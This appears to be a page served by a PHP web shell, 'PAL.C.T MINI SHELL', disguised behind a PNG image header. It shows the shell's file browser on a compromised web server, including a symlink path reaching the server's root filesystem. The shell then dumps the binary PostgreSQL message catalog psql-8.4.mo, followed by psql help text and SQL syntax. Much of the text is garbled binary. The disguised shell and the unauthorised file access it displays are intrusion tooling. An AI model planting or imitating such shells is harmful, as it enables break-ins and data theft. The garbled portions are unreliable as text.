‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/share/locale/fr/LC_MESSAGES/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/share/locale/fr/LC_MESSAGES/psql-8.4.mo

Þ•Ÿ‹*8898§O8÷89
,9:9<K95ˆ9A¾9k:7l:K¤:^ð:2O;4‚;N·;c<Qj<O¼<>=OK=@›=6Ü=N>Gb>8ª>Aã>T%??z?Lº?A@@I@HŠ@AÓ@+A_AA5¡A9×AMB;_B@›BKÜBJ(CosC>ãCN"DFqD$¸D&ÝD9E7>E2vE4©E)ÞE;FBDF)‡F*±F*ÜF2G.:G,iG4–GIËG-H&CH>jH&©H(ÐHJùH(DI%mI,“I$ÀINåI94JGnJ5¶JPìJK=KL‰K4ÖK,Lq8LAªL?ìLA,M>nMÖ­M#„NF¨N8ïN<(OMeO7³OBëO:.P4iP?žP%ÞP(Q
-Q
;Q
IQWQtQwQ‹Q$“Q#¸Q%ÜQ*R -R#NR<rR ¯R>ÐRS6/SfS
{S¥†S:,TgT	sT}TŽT T³½TOqUÄÁU<†WÁÃXý…Y‹ƒ\Å]}Õ]S^T``Vµ`Gc†TcžÛdqzeOìj}<k­ºm/hn1˜n-Ênløn—eoVýoßTrj4s4ŸsÔsæsIús
DtOtÓ`t4u
IuTuAiu«unyy«yòÉy¥¼|,b~*‘€¸¼yu‚ëï‚2Û„.†é=†'‡Ž3‰—‰HZŠ]£Š^‹Â`‹`#Œš„Œà†‡Y“’fí’˜T•]핆K–ûÒ–Η0☻šCÏŸA U b h 	{ … Œ ,¥ Ò é 	õ ÿ ¡%¡j7¡Ç¢¡*j¢K•¢Iá¢9+£ e£=†£CÄ£k¤%t¤<š¤PפQ(¥fz¥1á¥$¦?8¦=x¦?¶¦;ö¦<2§,o§Hœ§Eå§A+¨Cm¨?±¨;ñ¨a-©$©;´©Fð©7ªNªdªmªyª…ª&’ª'¹ª7áª0«J«Z«m«&ˆ«)¯«Ù«â«	ë«eõ«[¬l¬¬›¬´¬È­Ñ­ë­®®%®.®7µ@µRµ_µnµ~µ‡µÄе	O¶
Y¶g¶p¶¶ˆ¶¶
š¶
¨¶¶¶&öê¶ö¶í·ô·ý·
¸
¸(¸/¸
K¸Y¸m¸€¸’¸¢¸º¸ظê¸ü¸
¹¹,¹"@¹ c¹„¹ ¹¾¹&Ô¹û¹+º	0º:ºAº	JºTº`º
eºpºOºϺÞºüº»(»/»C»U»]»s»"y»2œ»Ï»å»¼¼5¼
L¼W¼p¼
м˜¼¯¼.ͼ<ü¼$9½'^½s†½ úÅÆ?;Æ{ƖƵÆ,ÄÆñÆÇÇ	Ç'Ç<ÇZÇaÇ?zǺÇRÁȈÉ™É7Ê&JÊ qÊÈ’Ê[ËbËsË'zˢ˷˼ËÃËÏËÛËôËÌÌ	ÌÌs2̦Ì
¬ÌºÌÔÌ
íÌøÌ	Í)Í?ÍHÍ!g͉͡Í9¼ÍEöÍ=<ÎCzÎ>¾ÎNýÎ9LÏ;†ÏÂÏÑÏ
àÏîÏþÏÐ
Ð Ð<Ð[Ð sÐ	”Ð&žÐÅÐÙÐÞнöдÑ<ÊÑÓÓ	&Ó0Óí°Ó	žÔ¨Ô
®Ô¹ÔÁÔÎÔ
ßÔ]êÔÀHÕ	Ö/)Ö&YÖ=€ÖÛ¾Ö<šÙ×Þ,ãÞß!ß>ß^ß	kßußß"¬ß Ïß9ðß#*àNNàà¸àÖàöà	úàCáHá&Yá€á’á©áÅá%äá!
â),â/Vâ#†â.ªâ!Ùâ-ûâ )ã%Jã4pã1¥ã-×ã/ä"5äXä'xä ä.Àä!ïä$å*6å+aåAå&Ïå0öå.'æ)Væ)€æªæ%¹æ#ßæCçGçfç|ç)›ç$Åç"êç 
è$.è!Sè(uè'žèÆè#áè!é('éPéié†é¥é»é	Öéàé
êêê;êMêmê„êŸê ³êÔê!ðêë(ë2;ënë„ë ë ½ëÞë5øë.ìBìbì.uì¤ì&¼ì#ãìí!'íIí^ípí)‰í³í&Êíñíî&îCî"Uîxî1î³î.Ëî	úî
ïïï,ï*Aïlï†ï¡ï®ï»ï¾ïÏïÖïßïãïæïïïþï!ð42ð
gð.uð¤ð
´ðÂðÖðéðûðñ""ñEñcñuñ’ñ¨ñ¸ñÊñÙñ"íñò0òLòjò*{ò
¦ò´òÍòêòúò
ó&ó0@ó>qó)°ó"Úóýóôô9$ô2^ô6‘ôVÈô&õ&Fõmõuõ|õ!–õ¸õ¾õÆõßõèõÿõö
öö¦ö¿÷¼Ø÷•ø&±øØøìøPù2Tù2‡ùqºùk,úa˜ú‹úú_†ûMæû4üœ´üuQý•Çýw]þhÕþA>ÿ/€ÿe°ÿQ¦Uø}NHÌww`ufzÜTW^¬HETpšxH„‡ÍhU¤¾7cq›t
	9‚	5¼	oò	kb
jÎ
e9=ŸFÝz$6Ÿ8Ö8
;H
>„
IÃ
J
uX4Î2l64£7Øo6€3·Aë1-p_=ÐgBv…¹}?o½8-=f›¤m@?®…îitÞ#âp4wd¬G‘uÙ@OeDö';2c–°Ä×òõ
7+K9w<±/î,DK(I¹$6(_x£ˆ:,g
t£ÂÀ]ƒ ×á E¹"Óÿ#îÓ$ Â'Æc(›*);Æ)a,:d,UŸ.Ÿõ.¡•0¡71]Ù6¢77»Ú92–:4É:0þ:z/; ª;7K<îƒ>wr?5ê? @/@SN@	¢@¬@çÇ@¯A
ÌA×AAëA¡-BÏEîE'F4FÇGI8KHL:NMº‰NDOíÆOD´Q1ùRð+STž1V’ÐVTcW^¸W\X¾tX_3Y¡“Yé5Z]­]WÂ_ƒ`žžbb=cŒ c-d.Ke2zf­gfµm]nzn“n n¾nÂnÊn0æno.o:o
IoWo)dokŽoÈúo*ÃpJîpJ9q8„q½q=ÝqBro^r#Îr:òrV-sU„slÚs0Gt"xt=›t;Ùt=u4Su:ˆu+ÃuGïuD7v@|vB½v=w9>wgxw"àw9xD=x(‚x%«xÑxÞxêx
öx/y34yMhyF¶yýyz(z*Cz+nzšz£z¬zv½z4{#M{q{Ž{:¨{ã|$ë|} .}
O}Z}c}y„‚„—„©„ÄÞ„ï„Æò„¹…Å…Õ…
Ý…	ë…õ…††.†:†7F†
~†‰†úŸ†š‡¢‡µ‡LJ݇ ä‡ ˆ&ˆ<ˆWˆrˆ…ˆ'¡ˆɈ݈òˆ‰‰(‰1>‰0p‰-¡‰*ω&ú‰E!ŠgŠ/sŠ	£Š­ŠµŠ
Š
ЊÛŠߊðŠu‹v‹(…‹®‹ È‹é‹ï‹ŒŒ'ŒDŒ"QŒ<tŒ!±Œ7ÓŒ&*%Qw*‡²Òå"Ž5'Ž;]Ž ™ŽºŽÔŽ V—w—;——,Ó—4˜5˜4E˜z˜–˜§˜¼˜Ș+☙™>,™k™R†šÙš‘i›û›,
œ$:œÜ_œ<CV5^”°·¾ÊÖòžžž(žr>ž±ž·ž#Çž/ëž
Ÿ&Ÿ
:Ÿ4EŸzŸ-Ÿ0¯Ÿ)àŸ,
 F7 M~ BÌ N¡E^¡\¤¡<¢O>¢Ž¢Ÿ¢¸¢΢䢣£&£):£d£,€£
­£0¸£+飤!¤ï<¤,¥?A¥¦"Ц­¦€Â¦íC§
1¨<¨
C¨N¨
V¨d¨{¨‚ˆ¨©1ª0Nª9ªC¹ªãýª_á­A³3M³
³,³¼³
ܳ
ê³õ³$´.4´ c´B„´,Ç´Vô´Kµ"iµ&Œµ³µ
·µPµ¶4,¶a¶~¶!¶7±¶'é¶#·+5·8a·%š·.À·"ï·2¸"E¸&h¸C¸AÓ¸>¹;T¹#¹ ´¹9Õ¹ º20º!cº%…º0«º0ܺ,
»4:»8o»4¨»0Ý»0¼?¼6Q¼7ˆ¼PÀ¼½1½%P½4v½0«½'ܽ'¾5,¾7b¾0š¾4˾!¿3"¿)V¿@€¿Á¿%Þ¿+À"0À(SÀ|À#ŒÀ°À¿À*ÒÀýÀ0Á"MÁpÁˆÁ*£Á"ÎÁ/ñÁ!Â?ÂLW¤Â'ÀÂ(èÂ(Ã(:ÃEcéÃ)ÃÃíÃ?ÄHÄ;fÄ8¢Ä4ÛÄ2ÅCÅ^ÅwÅ/–Å ÆÅ5çÅÆ(:Æ!cÆ…Æ;ÆÙÆ9âÆÇ87Ç	pÇzǂLjǠÇ/·Ç'çÇ*È
:ÈHÈ^ÈbÈ{È‚È	‹È•È	œÈ¦È·È'ÎÈCöÈ:É1IÉ{É’É«ÉÄÉáÉ'ÿÉ'Ê+<Ê)hÊ’Ê©Ê!ÉÊëÊÿÊË*Ë4BË2wË/ªË,ÚËÌ?Ì\Ì nÌ#Ì³ÌÆÌ ÝÌ!þÌ* Í=KÍ=‰Í,ÇÍ&ôÍÎ!ÎL*Î7wÎD¯ÎqôÎ.fÏ-•ÏÃÏËÏÒÏ#ñÏÐÐ#Ð@Ð!IÐkÐoÐxÐÐi¾BwÆãVuÈ?ž £"˜Êq)]íXÿMä¿¡¸K7ý\Ý2š™j
UÔAf[a"#¼ë2	ð•@Çd„g‡L¢g1„>´|Ë&+œf8‹ÃbP†<i׺Ÿ©?›˜=Ýk>&~\TV<c6øÏG”‹OÿùÇe®B(€PCwP¬mtµµI‰üvœ™ª—h@ ¹ÔÈBÙéfæM¶{üª64ùÛúuš‚åZ¦s§ˆçJØ{pñFÞ)«ßqW/71X‘³¾0/UŒNèrD-«°ÉâÐ'‡R»ŽØ)	¤Ù€!
$³“É $3ïR€†ç!6Òºb4I±1 £h°0}9(`SÕnÖrZ=@ÚG=í,]ð(ž•`èEàˆ]oY3“*ák”Ó;\Ntd`:RA®^LÞT‚ì‘!Yø0}‹_7g‰X²Á[¦x‘F¬ÜOãÊòj3'½ŠCek̽^m¨ƒñ_ûw*§vŒåns"Dpzþ/ÕäïGžÚUSK_Œ,:Ò¯Š&Ÿx*qê+“¸o¥ó…Á~¡†ÓlY‰Q±Ñ.ßE.œiJ‚à4’—æ$Ivô5Îyì·j¿8cHtTZÌWÂÄ;÷öHò}û#šâM„Ä~Ÿ¯‡CŠô8+Ð	ÎÍóK’u­ ŽHá¹Ñ|aV––{­%nl›Ž©,ê¢edy»o%|²ÍJFÆya—9csQm˘
pÅ5¼ÏþW<ýëÛ¶AõîÀÀ´ƒ%l#¤L

…ƒ;…O™éxö?9¥[--z¨·D›×NîQÖ.÷ÅÃ>Âb'
•–z”:hˆE2Üú5õS’^r
Connection options:

For more information, type "\?" (for internal commands) or "\help" (for SQL
commands) from within psql, or consult the psql section in the PostgreSQL
documentation.


Input and output options:

Output format options:

Parser: "%s"
Parser: "%s.%s"  (options: S = show system objects, + = additional detail)
  --help                   show this help, then exit
  --version                output version information, then exit
  -1 ("one"), --single-transaction
                           execute command file as a single transaction
  -A, --no-align           unaligned table output mode
  -E, --echo-hidden        display queries that internal commands generate
  -F, --field-separator=STRING
                           set field separator (default: "%s")
  -H, --html               HTML table output mode
  -L, --log-file=FILENAME  send session log to file
  -P, --pset=VAR[=ARG]     set printing option VAR to ARG (see \pset command)
  -R, --record-separator=STRING
                           set record separator (default: newline)
  -S, --single-line        single-line mode (end of line terminates SQL command)
  -T, --table-attr=TEXT    set HTML table tag attributes (e.g., width, border)
  -U, --username=USERNAME  database user name (default: "%s")
  -W, --password           force password prompt (should happen automatically)
  -X, --no-psqlrc          do not read startup file (~/.psqlrc)
  -a, --echo-all           echo all input from script
  -c, --command=COMMAND    run only single command (SQL or internal) and exit
  -d, --dbname=DBNAME      database name to connect to (default: "%s")
  -e, --echo-queries       echo commands sent to server
  -f, --file=FILENAME      execute commands from file, then exit
  -h, --host=HOSTNAME      database server host or socket directory (default: "%s")
  -l, --list               list available databases, then exit
  -n, --no-readline        disable enhanced command line editing (readline)
  -o, --output=FILENAME    send query results to file (or |pipe)
  -p, --port=PORT          database server port (default: "%s")
  -q, --quiet              run quietly (no messages, only query output)
  -s, --single-step        single-step mode (confirm each query)
  -t, --tuples-only        print rows only
  -v, --set=, --variable=NAME=VALUE
                           set psql variable NAME to VALUE
  -w, --no-password        never prompt for password
  -x, --expanded           turn on expanded table output
  \! [COMMAND]           execute command in shell or start interactive shell
  \C [STRING]            set table title, or unset if none
  \H                     toggle HTML output mode (currently %s)
  \T [STRING]            set HTML <table> tag attributes, or unset if none
  \a                     toggle between unaligned and aligned output mode
  \c[onnect] [DBNAME|- USER|- HOST|- PORT|-]
                         connect to new database (currently "%s")
  \cd [DIR]              change the current working directory
  \copy ...              perform SQL COPY with data stream to the client host
  \copyright             show PostgreSQL usage and distribution terms
  \dC     [PATTERN]      list casts
  \dD[S]  [PATTERN]      list domains
  \dF[+]  [PATTERN]      list text search configurations
  \dFd[+] [PATTERN]      list text search dictionaries
  \dFp[+] [PATTERN]      list text search parsers
  \dFt[+] [PATTERN]      list text search templates
  \dT[S+] [PATTERN]      list data types
  \d[S+]                 list tables, views, and sequences
  \d[S+]  NAME           describe table, view, sequence, or index
  \da[+]  [PATTERN]      list aggregates
  \db[+]  [PATTERN]      list tablespaces
  \dc[S]  [PATTERN]      list conversions
  \dd[S]  [PATTERN]      show comments on objects
  \des[+] [PATTERN]      list foreign servers
  \deu[+] [PATTERN]      list user mappings
  \dew[+] [PATTERN]      list foreign-data wrappers
  \df[antw][S+] [PATRN]  list [only agg/normal/trigger/window] functions
  \dg[+]  [PATTERN]      list roles (groups)
  \di[S+] [PATTERN]      list indexes
  \dl                    list large objects, same as \lo_list
  \dn[+]  [PATTERN]      list schemas
  \do[S]  [PATTERN]      list operators
  \dp     [PATTERN]      list table, view, and sequence access privileges
  \ds[S+] [PATTERN]      list sequences
  \dt[S+] [PATTERN]      list tables
  \du[+]  [PATTERN]      list roles (users)
  \dv[S+] [PATTERN]      list views
  \e [FILE]              edit the query buffer (or file) with external editor
  \echo [STRING]         write string to standard output
  \ef [FUNCNAME]         edit function definition with external editor
  \encoding [ENCODING]   show or set client encoding
  \f [STRING]            show or set field separator for unaligned query output
  \g [FILE] or ;         execute query (and send results to file or |pipe)
  \h [NAME]              help on syntax of SQL commands, * for all commands
  \i FILE                execute commands from file
  \l[+]                  list all databases
  \lo_export LOBOID FILE
  \lo_import FILE [COMMENT]
  \lo_list
  \lo_unlink LOBOID      large object operations
  \o [FILE]              send all query results to file or |pipe
  \p                     show the contents of the query buffer
  \password [USERNAME]   securely change the password for a user
  \prompt [TEXT] NAME    prompt user to set internal variable
  \pset NAME [VALUE]     set table output option
                         (NAME := {format|border|expanded|fieldsep|footer|null|
                         numericlocale|recordsep|tuples_only|title|tableattr|pager})
  \q                     quit psql
  \qecho [STRING]        write string to query output stream (see \o)
  \r                     reset (clear) the query buffer
  \s [FILE]              display history or save it to file
  \set [NAME [VALUE]]    set internal variable, or list all if no parameters
  \t [on|off]            show only rows (currently %s)
  \timing [on|off]       toggle timing of commands (currently %s)
  \unset NAME            unset (delete) internal variable
  \w FILE                write query buffer to file
  \x [on|off]            toggle expanded output (currently %s)
  \z      [PATTERN]      same as \dp
  psql [OPTION]... [DBNAME [USERNAME]]

 as user "%s" at port "%s" on host "%s"%d connection%d connections%s%s (%s, server %s)
%s: %s
%s: cannot copy from/to a directory
%s: could not delete variable "%s"
%s: could not open log file "%s": %s
%s: could not set printing parameter "%s"
%s: could not set variable "%s"
%s: current transaction is aborted
%s: invalid encoding name or conversion procedure not found
%s: not connected to a database
%s: pg_strdup: cannot duplicate null pointer (internal error)
%s: unknown transaction status
%s: warning: extra command-line argument "%s" ignored
(%lu row)(%lu rows)(No rows)
***(Single step mode: verify command)*******************************************
%s
***(press return to proceed or enter x and return to cancel)********************
********* QUERY **********
%s
**************************

, clustered, invalid, predicate (%s), tablespace "%s"ABORT [ WORK | TRANSACTION ]ALTER AGGREGATE name ( type [ , ... ] ) RENAME TO new_name
ALTER AGGREGATE name ( type [ , ... ] ) OWNER TO new_owner
ALTER AGGREGATE name ( type [ , ... ] ) SET SCHEMA new_schemaALTER CONVERSION name RENAME TO newname
ALTER CONVERSION name OWNER TO newownerALTER DATABASE name [ [ WITH ] option [ ... ] ]

where option can be:

    CONNECTION LIMIT connlimit

ALTER DATABASE name RENAME TO newname

ALTER DATABASE name OWNER TO new_owner

ALTER DATABASE name SET TABLESPACE new_tablespace

ALTER DATABASE name SET configuration_parameter { TO | = } { value | DEFAULT }
ALTER DATABASE name SET configuration_parameter FROM CURRENT
ALTER DATABASE name RESET configuration_parameter
ALTER DATABASE name RESET ALLALTER DOMAIN name
    { SET DEFAULT expression | DROP DEFAULT }
ALTER DOMAIN name
    { SET | DROP } NOT NULL
ALTER DOMAIN name
    ADD domain_constraint
ALTER DOMAIN name
    DROP CONSTRAINT constraint_name [ RESTRICT | CASCADE ]
ALTER DOMAIN name
    OWNER TO new_owner 
ALTER DOMAIN name
    SET SCHEMA new_schemaALTER FOREIGN DATA WRAPPER name
    [ VALIDATOR valfunction | NO VALIDATOR ]
    [ OPTIONS ( [ ADD | SET | DROP ] option ['value'] [, ... ]) ]
ALTER FOREIGN DATA WRAPPER name OWNER TO new_ownerALTER FUNCTION name ( [ [ argmode ] [ argname ] argtype [, ...] ] )
    action [ ... ] [ RESTRICT ]
ALTER FUNCTION name ( [ [ argmode ] [ argname ] argtype [, ...] ] )
    RENAME TO new_name
ALTER FUNCTION name ( [ [ argmode ] [ argname ] argtype [, ...] ] )
    OWNER TO new_owner
ALTER FUNCTION name ( [ [ argmode ] [ argname ] argtype [, ...] ] )
    SET SCHEMA new_schema

where action is one of:

    CALLED ON NULL INPUT | RETURNS NULL ON NULL INPUT | STRICT
    IMMUTABLE | STABLE | VOLATILE
    [ EXTERNAL ] SECURITY INVOKER | [ EXTERNAL ] SECURITY DEFINER
    COST execution_cost
    ROWS result_rows
    SET configuration_parameter { TO | = } { value | DEFAULT }
    SET configuration_parameter FROM CURRENT
    RESET configuration_parameter
    RESET ALLALTER GROUP groupname ADD USER username [, ... ]
ALTER GROUP groupname DROP USER username [, ... ]

ALTER GROUP groupname RENAME TO newnameALTER INDEX name RENAME TO new_name
ALTER INDEX name SET TABLESPACE tablespace_name
ALTER INDEX name SET ( storage_parameter = value [, ... ] )
ALTER INDEX name RESET ( storage_parameter [, ... ] )ALTER OPERATOR CLASS name USING index_method RENAME TO newname
ALTER OPERATOR CLASS name USING index_method OWNER TO newownerALTER OPERATOR FAMILY name USING index_method ADD
  {  OPERATOR strategy_number operator_name ( op_type, op_type )
   | FUNCTION support_number [ ( op_type [ , op_type ] ) ] funcname ( argument_type [, ...] )
  } [, ... ]
ALTER OPERATOR FAMILY name USING index_method DROP
  {  OPERATOR strategy_number ( op_type [ , op_type ] )
   | FUNCTION support_number ( op_type [ , op_type ] )
  } [, ... ]
ALTER OPERATOR FAMILY name USING index_method RENAME TO newname
ALTER OPERATOR FAMILY name USING index_method OWNER TO newownerALTER OPERATOR name ( { lefttype | NONE } , { righttype | NONE } ) OWNER TO newownerALTER ROLE name [ [ WITH ] option [ ... ] ]

where option can be:
    
      SUPERUSER | NOSUPERUSER
    | CREATEDB | NOCREATEDB
    | CREATEROLE | NOCREATEROLE
    | CREATEUSER | NOCREATEUSER
    | INHERIT | NOINHERIT
    | LOGIN | NOLOGIN
    | CONNECTION LIMIT connlimit
    | [ ENCRYPTED | UNENCRYPTED ] PASSWORD 'password'
    | VALID UNTIL 'timestamp' 

ALTER ROLE name RENAME TO newname

ALTER ROLE name SET configuration_parameter { TO | = } { value | DEFAULT }
ALTER ROLE name SET configuration_parameter FROM CURRENT
ALTER ROLE name RESET configuration_parameter
ALTER ROLE name RESET ALLALTER SCHEMA name RENAME TO newname
ALTER SCHEMA name OWNER TO newownerALTER SEQUENCE name [ INCREMENT [ BY ] increment ]
    [ MINVALUE minvalue | NO MINVALUE ] [ MAXVALUE maxvalue | NO MAXVALUE ]
    [ START [ WITH ] start ]
    [ RESTART [ [ WITH ] restart ] ]
    [ CACHE cache ] [ [ NO ] CYCLE ]
    [ OWNED BY { table.column | NONE } ]
ALTER SEQUENCE name OWNER TO new_owner
ALTER SEQUENCE name RENAME TO new_name
ALTER SEQUENCE name SET SCHEMA new_schemaALTER SERVER servername [ VERSION 'newversion' ]
    [ OPTIONS ( [ ADD | SET | DROP ] option ['value'] [, ... ] ) ]
ALTER SERVER servername OWNER TO new_ownerALTER TABLE [ ONLY ] name [ * ]
    action [, ... ]
ALTER TABLE [ ONLY ] name [ * ]
    RENAME [ COLUMN ] column TO new_column
ALTER TABLE name
    RENAME TO new_name
ALTER TABLE name
    SET SCHEMA new_schema

where action is one of:

    ADD [ COLUMN ] column type [ column_constraint [ ... ] ]
    DROP [ COLUMN ] column [ RESTRICT | CASCADE ]
    ALTER [ COLUMN ] column [ SET DATA ] TYPE type [ USING expression ]
    ALTER [ COLUMN ] column SET DEFAULT expression
    ALTER [ COLUMN ] column DROP DEFAULT
    ALTER [ COLUMN ] column { SET | DROP } NOT NULL
    ALTER [ COLUMN ] column SET STATISTICS integer
    ALTER [ COLUMN ] column SET STORAGE { PLAIN | EXTERNAL | EXTENDED | MAIN }
    ADD table_constraint
    DROP CONSTRAINT constraint_name [ RESTRICT | CASCADE ]
    DISABLE TRIGGER [ trigger_name | ALL | USER ]
    ENABLE TRIGGER [ trigger_name | ALL | USER ]
    ENABLE REPLICA TRIGGER trigger_name
    ENABLE ALWAYS TRIGGER trigger_name
    DISABLE RULE rewrite_rule_name
    ENABLE RULE rewrite_rule_name
    ENABLE REPLICA RULE rewrite_rule_name
    ENABLE ALWAYS RULE rewrite_rule_name
    CLUSTER ON index_name
    SET WITHOUT CLUSTER
    SET WITH OIDS
    SET WITHOUT OIDS
    SET ( storage_parameter = value [, ... ] )
    RESET ( storage_parameter [, ... ] )
    INHERIT parent_table
    NO INHERIT parent_table
    OWNER TO new_owner
    SET TABLESPACE new_tablespaceALTER TABLESPACE name RENAME TO newname
ALTER TABLESPACE name OWNER TO newownerALTER TEXT SEARCH CONFIGURATION name
    ADD MAPPING FOR token_type [, ... ] WITH dictionary_name [, ... ]
ALTER TEXT SEARCH CONFIGURATION name
    ALTER MAPPING FOR token_type [, ... ] WITH dictionary_name [, ... ]
ALTER TEXT SEARCH CONFIGURATION name
    ALTER MAPPING REPLACE old_dictionary WITH new_dictionary
ALTER TEXT SEARCH CONFIGURATION name
    ALTER MAPPING FOR token_type [, ... ] REPLACE old_dictionary WITH new_dictionary
ALTER TEXT SEARCH CONFIGURATION name
    DROP MAPPING [ IF EXISTS ] FOR token_type [, ... ]
ALTER TEXT SEARCH CONFIGURATION name RENAME TO newname
ALTER TEXT SEARCH CONFIGURATION name OWNER TO newownerALTER TEXT SEARCH DICTIONARY name (
    option [ = value ] [, ... ]
)
ALTER TEXT SEARCH DICTIONARY name RENAME TO newname
ALTER TEXT SEARCH DICTIONARY name OWNER TO newownerALTER TEXT SEARCH PARSER name RENAME TO newnameALTER TEXT SEARCH TEMPLATE name RENAME TO newnameALTER TRIGGER name ON table RENAME TO newnameALTER TYPE name RENAME TO new_name
ALTER TYPE name OWNER TO new_owner 
ALTER TYPE name SET SCHEMA new_schemaALTER USER MAPPING FOR { username | USER | CURRENT_USER | PUBLIC }
    SERVER servername
    OPTIONS ( [ ADD | SET | DROP ] option ['value'] [, ... ] )ALTER USER name [ [ WITH ] option [ ... ] ]

where option can be:
    
      SUPERUSER | NOSUPERUSER
    | CREATEDB | NOCREATEDB
    | CREATEROLE | NOCREATEROLE
    | CREATEUSER | NOCREATEUSER
    | INHERIT | NOINHERIT
    | LOGIN | NOLOGIN
    | CONNECTION LIMIT connlimit
    | [ ENCRYPTED | UNENCRYPTED ] PASSWORD 'password'
    | VALID UNTIL 'timestamp' 

ALTER USER name RENAME TO newname

ALTER USER name SET configuration_parameter { TO | = } { value | DEFAULT }
ALTER USER name SET configuration_parameter FROM CURRENT
ALTER USER name RESET configuration_parameter
ALTER USER name RESET ALLALTER VIEW name ALTER [ COLUMN ] column SET DEFAULT expression
ALTER VIEW name ALTER [ COLUMN ] column DROP DEFAULT
ALTER VIEW name OWNER TO new_owner
ALTER VIEW name RENAME TO new_name
ALTER VIEW name SET SCHEMA new_schemaALTER [ PROCEDURAL ] LANGUAGE name RENAME TO newname
ALTER [ PROCEDURAL ] LANGUAGE name OWNER TO new_ownerANALYZE [ VERBOSE ] [ table [ ( column [, ...] ) ] ]Access privilegesArgument data typesAsynchronous notification "%s" received from server process with PID %d.
AttributesAvailable help:
BEGIN [ WORK | TRANSACTION ] [ transaction_mode [, ...] ]

where transaction_mode is one of:

    ISOLATION LEVEL { SERIALIZABLE | REPEATABLE READ | READ COMMITTED | READ UNCOMMITTED }
    READ WRITE | READ ONLYBorder style is %d.
CHECKPOINTCLOSE { name | ALL }CLUSTER [VERBOSE] tablename [ USING indexname ]
CLUSTER [VERBOSE]COMMENT ON
{
  TABLE object_name |
  COLUMN table_name.column_name |
  AGGREGATE agg_name (agg_type [, ...] ) |
  CAST (sourcetype AS targettype) |
  CONSTRAINT constraint_name ON table_name |
  CONVERSION object_name |
  DATABASE object_name |
  DOMAIN object_name |
  FUNCTION func_name ( [ [ argmode ] [ argname ] argtype [, ...] ] ) |
  INDEX object_name |
  LARGE OBJECT large_object_oid |
  OPERATOR op (leftoperand_type, rightoperand_type) |
  OPERATOR CLASS object_name USING index_method |
  OPERATOR FAMILY object_name USING index_method |
  [ PROCEDURAL ] LANGUAGE object_name |
  ROLE object_name |
  RULE rule_name ON table_name |
  SCHEMA object_name |
  SEQUENCE object_name |
  TABLESPACE object_name |
  TEXT SEARCH CONFIGURATION object_name |
  TEXT SEARCH DICTIONARY object_name |
  TEXT SEARCH PARSER object_name |
  TEXT SEARCH TEMPLATE object_name |
  TRIGGER trigger_name ON table_name |
  TYPE object_name |
  VIEW object_name
} IS 'text'COMMIT PREPARED transaction_idCOMMIT [ WORK | TRANSACTION ]COPY data transfer failed: %sCOPY tablename [ ( column [, ...] ) ]
    FROM { 'filename' | STDIN }
    [ [ WITH ] 
          [ BINARY ]
          [ OIDS ]
          [ DELIMITER [ AS ] 'delimiter' ]
          [ NULL [ AS ] 'null string' ]
          [ CSV [ HEADER ]
                [ QUOTE [ AS ] 'quote' ] 
                [ ESCAPE [ AS ] 'escape' ]
                [ FORCE NOT NULL column [, ...] ]

COPY { tablename [ ( column [, ...] ) ] | ( query ) }
    TO { 'filename' | STDOUT }
    [ [ WITH ] 
          [ BINARY ]
          [ OIDS ]
          [ DELIMITER [ AS ] 'delimiter' ]
          [ NULL [ AS ] 'null string' ]
          [ CSV [ HEADER ]
                [ QUOTE [ AS ] 'quote' ] 
                [ ESCAPE [ AS ] 'escape' ]
                [ FORCE QUOTE column [, ...] ]CREATE AGGREGATE name ( input_data_type [ , ... ] ) (
    SFUNC = sfunc,
    STYPE = state_data_type
    [ , FINALFUNC = ffunc ]
    [ , INITCOND = initial_condition ]
    [ , SORTOP = sort_operator ]
)

or the old syntax

CREATE AGGREGATE name (
    BASETYPE = base_type,
    SFUNC = sfunc,
    STYPE = state_data_type
    [ , FINALFUNC = ffunc ]
    [ , INITCOND = initial_condition ]
    [ , SORTOP = sort_operator ]
)CREATE CAST (sourcetype AS targettype)
    WITH FUNCTION funcname (argtypes)
    [ AS ASSIGNMENT | AS IMPLICIT ]

CREATE CAST (sourcetype AS targettype)
    WITHOUT FUNCTION
    [ AS ASSIGNMENT | AS IMPLICIT ]

CREATE CAST (sourcetype AS targettype)
    WITH INOUT
    [ AS ASSIGNMENT | AS IMPLICIT ]CREATE CONSTRAINT TRIGGER name
    AFTER event [ OR ... ]
    ON table_name
    [ FROM referenced_table_name ]
    { NOT DEFERRABLE | [ DEFERRABLE ] { INITIALLY IMMEDIATE | INITIALLY DEFERRED } }
    FOR EACH ROW
    EXECUTE PROCEDURE funcname ( arguments )CREATE DATABASE name
    [ [ WITH ] [ OWNER [=] dbowner ]
           [ TEMPLATE [=] template ]
           [ ENCODING [=] encoding ]
           [ LC_COLLATE [=] lc_collate ]
           [ LC_CTYPE [=] lc_ctype ]
           [ TABLESPACE [=] tablespace ]
           [ CONNECTION LIMIT [=] connlimit ] ]CREATE DOMAIN name [ AS ] data_type
    [ DEFAULT expression ]
    [ constraint [ ... ] ]

where constraint is:

[ CONSTRAINT constraint_name ]
{ NOT NULL | NULL | CHECK (expression) }CREATE FOREIGN DATA WRAPPER name
    [ VALIDATOR valfunction | NO VALIDATOR ]
    [ OPTIONS ( option 'value' [, ... ] ) ]CREATE GROUP name [ [ WITH ] option [ ... ] ]

where option can be:
    
      SUPERUSER | NOSUPERUSER
    | CREATEDB | NOCREATEDB
    | CREATEROLE | NOCREATEROLE
    | CREATEUSER | NOCREATEUSER
    | INHERIT | NOINHERIT
    | LOGIN | NOLOGIN
    | [ ENCRYPTED | UNENCRYPTED ] PASSWORD 'password'
    | VALID UNTIL 'timestamp' 
    | IN ROLE rolename [, ...]
    | IN GROUP rolename [, ...]
    | ROLE rolename [, ...]
    | ADMIN rolename [, ...]
    | USER rolename [, ...]
